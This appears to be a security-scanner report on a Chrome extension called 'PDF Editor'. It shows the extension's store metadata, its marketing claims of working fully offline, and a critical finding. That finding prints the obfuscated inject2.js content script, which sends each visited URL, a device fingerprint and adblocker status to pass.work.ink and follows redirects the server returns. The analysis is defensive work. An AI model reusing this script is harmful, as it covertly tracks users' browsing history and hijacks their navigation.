PDF Editor

PDF Editor

ID: deaiapbieocoklikiokamcdklicacgdo

Supported Languages

🇺🇸English

Extension Info & Metadata

Status
Active
Version
1.0.4
Size
1.52 MB
Rating
1.9/5
Reviews
87
Users
80,000
Type
Extension
Updated
Mar 21, 2026
Category
Tools
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
Yes

Publisher Contextual Analysis

MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
1
Obsolete
0
Listed
1
Unlisted
0
Total Users
80,000
Screenshot 1

PDF Editor - edit, merge and combine PDF documents.

PDF Editor - Edit, Merge, and Combine PDF Documents with Ease (Works Completely Offline) Introducing the ultimate PDF editing tool for your browser - PDF Editor. This powerful extension puts all the essential PDF management features right at your fingertips, empowering you to streamline your workflow and boost your productivity. What sets PDF Editor apart is its complete offline functionality. This means your PDF files never leave your device, providing you with a secure and private way to work with your documents. No need to worry about your sensitive information being uploaded to any cloud services - PDF Editor keeps everything on your local machine, ensuring your data remains under your full control. Whether you need to make quick edits to a PDF, combine multiple documents into a single file, or reorder the pages within a PDF, PDF Editor has you covered. With its intuitive interface and comprehensive set of tools, you can breeze through your daily PDF tasks with unparalleled efficiency. Key Features: - Edit PDF Text, Images, and Annotations - Seamlessly modify the content of your PDF files, from updating text to adjusting image placements. PDF Editor's advanced editing capabilities ensure your documents always look polished and professional. - Merge PDFs into a Single Document - Combine multiple PDF files into one cohesive document, making it easy to organize your paperwork and share comprehensive information with colleagues, clients, or partners. - Split PDFs by Extracting Pages - Quickly extract specific pages from a PDF and save them as individual files, ideal for separating relevant sections or creating custom document compilations. Reorder Pages within a PDF - Rearrange the pages of a PDF document with a simple drag-and-drop interface, allowing you to customize the flow and presentation of your content. Unlock the full potential of your PDF documents with PDF Editor. This extension is designed to streamline your workflow, save you time, and help you maintain a professional, organized digital document management system - all while keeping your data secure and offline. This extension uses affiliate links to help finance the development costs. Additionally, any sponsored ad links within search engine results will be hidden to prevent potential bugs or issues.

Item
Type
Severity
Description
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 10% increase: Early script execution enables pre-emptive content manipulation
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
Early Content Script Execution
Risk Factor
Medium
This extension runs content scripts at document_start.

This content script runs at document_start on every page and sends the full URL (base64-encoded) along with a device fingerprint and adblocker status to a remote server (pass.work.ink). The server can respond with a redirect target, and the extension will navigate the user there. This exfiltrates browsing history and enables arbitrary redirection, completely unrelated to the PDF editor's stated purpose and contradicting its offline claim.

inject2.js (Line 1)
(() => {  "use strict";  ({    428: function() {      (this && this.__awaiter || function(t, n, e, o) {        return new(e || (e = Promise))((function(i, r) {          function c(t) {            try {              a(o.next(t))            } catch (t) {              r(t)            }          }          function s(t) {            try {              a(o.throw(t))            } catch (t) {              r(t)            }          }          function a(t) {            var n;            t.done ? i(t.value) : (n = t.value, n instanceof e ? n : new e((function(t) {                t(n)              })))              .then(c, s)          }          a((o = o.apply(t, n || []))            .next())        }))      })(void 0, void 0, void 0, (function*() {        const t = window.location.href;        if (!t || "" == t.trim() || !t.startsWith("http")) return;        const n = yield chrome.runtime.sendMessage({          type: "getFingerprint"        }), e = (yield chrome.runtime.sendMessage({          type: "getAdblockerStatus"        })) ? 1 : 0, o = yield fetch(          `https://pass.work.ink/redirect/${encodeURIComponent(btoa(null!=t?t:""))}?fingerprint=${encodeURIComponent(n)}&adblockerInstalled=${e}&base64=1&json=1`        ), i = yield o.json();        i.noRedirect || (window.location.href = i.to)      }))    }  })[428]()})();

By severity

Critical1
High0
Medium0
Low0

Versions scanned

None of the 2 scanned versions have more than one unique code-review finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
No versions with multiple unique findings.

Files with findings

1 distinct path — top paths by unique finding count:

  • inject2.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Data Exfiltration
critical
inject2.js (line 1)This content script runs at document_start on every page and sends the full URL (base64-encoded) along with a device fingerprint and adblocker status to a remote server (pass.work.ink). The server can respond with a r…
URLs
54
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa2JL7SUc.woff2https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa2JL7SUc.woff2
fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa0ZL7SUc.woff2https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa0ZL7SUc.woff2
fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa2ZL7SUc.woff2https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa2ZL7SUc.woff2
fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa1pL7SUc.woff2https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa1pL7SUc.woff2
fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa2pL7SUc.woff2https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa2pL7SUc.woff2
fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa25L7SUc.woff2https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa25L7SUc.woff2
fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa1ZL7.woff2https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa1ZL7.woff2
mths.be/csseschttps://mths.be/cssesc
www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtdhttp://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd
www.w3.org/2000/svghttp://www.w3.org/2000/svg
Showing 1 to 10 of 60 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Version
Size
Is Malicious
Findings
Permhash
1.0.4
Latest
1.52 MB
Malicious
1
1.0.3
0.78 MB
Benign
—
Showing 1 to 2 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.